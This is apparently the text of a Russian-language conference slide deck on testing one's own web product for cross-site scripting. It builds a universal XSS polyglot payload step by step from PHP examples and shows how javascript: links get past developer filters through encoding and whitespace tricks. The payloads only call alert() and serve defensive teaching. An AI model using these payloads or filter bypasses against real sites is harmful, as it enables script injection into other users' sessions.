3.52M
Категория: ПрограммированиеПрограммирование

480670.pptx

1.

XSSни свой продукт
продвинутое тестирование безопасности

2.

Программа
Поговорим про XSS
Создадим универсальный пейлоад для поиска XSS

3.

XSS (Cross-Site Scripting) это когда хакер может выполнить
произвольный javascript в браузере
жертвы в контексте вашего сайта

4.

XSS - причины
1. при генерации html-страницы, когда в код подтягиваются:
• любые данные из БД, ранее указанные пользователем - stored XSS
• параметры из урла/тела запроса - reflected XSS
• значения http заголовков, куки - нужен mitm или другой баг (не
сегодня)
2. при изменении страницы джаваскриптом (про это в другой
раз):
• postMessage
• InnerHTML, $().html(), document.write
• location.hash...

5.

XSS - методология
1. пейлоад во все поля/параметры
2. рано или поздно выполнится alert()

6.

7.

8.

F12 -> Ctrl+F -> "qweqwe"

9.

10.

11.

<script>alert()</script>

12.

XSS – Level 0

13.

<p>
Привет, <?php echo($_GET["name"]); ?>!
<p>
XSS: между тэгами разметки

14.

/page.php?name=<script>alert()</script>
<p>
Привет, <script>alert()</script>!
<p>
XSS: между тэгами разметки

15.

<p>
Привет, <?php $sql=…; echo($sql); ?>!
<p>
XSS: между тэгами разметки

16.

<p>
Привет, Вася<script>alert()</script>!
<p>
XSS: между тэгами разметки

17.

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: внутри значения аттрибута

18.

/page.php?name="><script>alert()</script>
<form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">!
</form>
XSS: внутри значения аттрибута

19.

"><script>alert()</script>

20.

XSS – Level 1

21.

<html>
<head>
<title>Привет, <?php echo($_GET["name"]); ?></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

22.

/page.php?name="><script>alert()</script>
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

23.

/page.php?name="><script>alert()</script>
Сработает?
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

24.

/page.php?name="><script>alert()</script>
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
НЕТ!

25.

/page.php?name="></title><script>alert()</script>
<html>
<head>
<title>Привет,"></title><script>alert()</script>
</title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

26.

"></title><script>alert()</script>

27.

<script>
var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: между специфичных тэгов

28.

/page.php?name="></title><script>alert()</script>
<script>
var name=""></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов

29.

/page.php?name="></script></title><script>alert()</script>
<script>
var name=""></script></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов

30.

"></title></script><script>alert()</script>
+ </style></noscript></textarea>…(по
ситуации)

31.

XSS – Level 2

32.

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: особенности HTML

33.

<form action='page.php' method='POST'>
<input name='name' value='<?php echo($_GET["name"]); ?>'>!
</form>
XSS: особенности HTML

34.

'"></title></script><script>alert()</script>

35.

<form action='page.php' method='POST'>
<input name='name' value='<%..UrlParam("name").replaceAll(">","&gt;")..%>'>!
</form>
XSS: внутри значения аттрибута

36.

/page.php?name='><script>alert()</script>
<form action='page.php' method='POST'>
<input name='name' value=''&gt;<script&gt;alert()</script&gt;'>!
</form>
XSS: внутри значения аттрибута

37.

/page.php?name='%20autofocus%20onfocus='alert();
<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>
(autofocus onfocus не будут работать если у инпута type=hidden)
XSS: внутри значения аттрибута

38.

<script>
var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: внутри тэга script

39.

/page.php?name=";+alert();//
<script>
var name=""; alert();//";
</script>
XSS: внутри тэга script

40.

<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>
XSS: внутри ссылки

41.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки

42.

/page.php?returnUrl=%20javascript:alert()
Сработает?
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки

43.

/page.php?returnUrl=%20javascript:alert()
ДА!
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки

44.

/page.php?returnUrl=%09javascript:alert()
<a href="
javascript:alert()">Вернуться</a>
XSS: внутри ссылки

45.

XSS на biz.mail.ru
Bounty – 500$
https://hackerone.com/reports/268245

46.

47.

48.

49.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки

50.

XSS – Level 3

51.

'"></title></script><script>alert()</script>

52.

'"></title></script><script>alert()</script>

53.

'"></title></script><iframe onload='alert``'>

54.

55.

Плюсы iframe:
1. Легко заметить, если пейлоад встраивается в страницу, но
на onload работают санитайзеры
2. Есть волшебный аттрибут srcdoc

56.

57.

58.

XSS – Level 1337

59.

Пробелы между аттрибутами в тэге могут замениться слэшем
Тэг необязательно закрывать! <iframe/onload='alert()'
Есть кейс, когда пейлоад попадает между комментом <!-- -->,
нужно закрывать и его

60.

From:
'"></title></script><iframe onload='alert``'>
to:
'"></title/</script/</style/--><iframe/onload='alert``'

61.

XSS в личных сообщениях на ...
Bounty – 3000$
https://hackerone.com/reports/...

62.

Обрезали все, что подходит под паттерн "<…>"
Но незакрытый тэг нормализуется всеми современными
браузерами в закрытый!

63.

<iframe/onload='alert()'

64.

+ Bonus

65.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
Back to redirect XSS

66.

Может быть требовать формат URL:
protocol://host:port/... ?
Разработчик

67.

<a href="javascript://qwe.com/%0aalert()">Вернуться</a>
Back to redirect XSS

68.

69.

А может быть тогда просто запретить
слово javascript в урле?
Разработчик

70.

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;
&#x70;&#x74;&colon;//qwe.com/%0aalert()">Вернуться</a>
Back to redirect XSS

71.

Ну, тогда я буду требовать, чтобы
ссылка начиналась на http(s) или на /
Разработчик

72.

Вопросы?
Ваня
@Ivan_Rumak
rumak@skbkontur.ru
kontur.ru
English     Русский Правила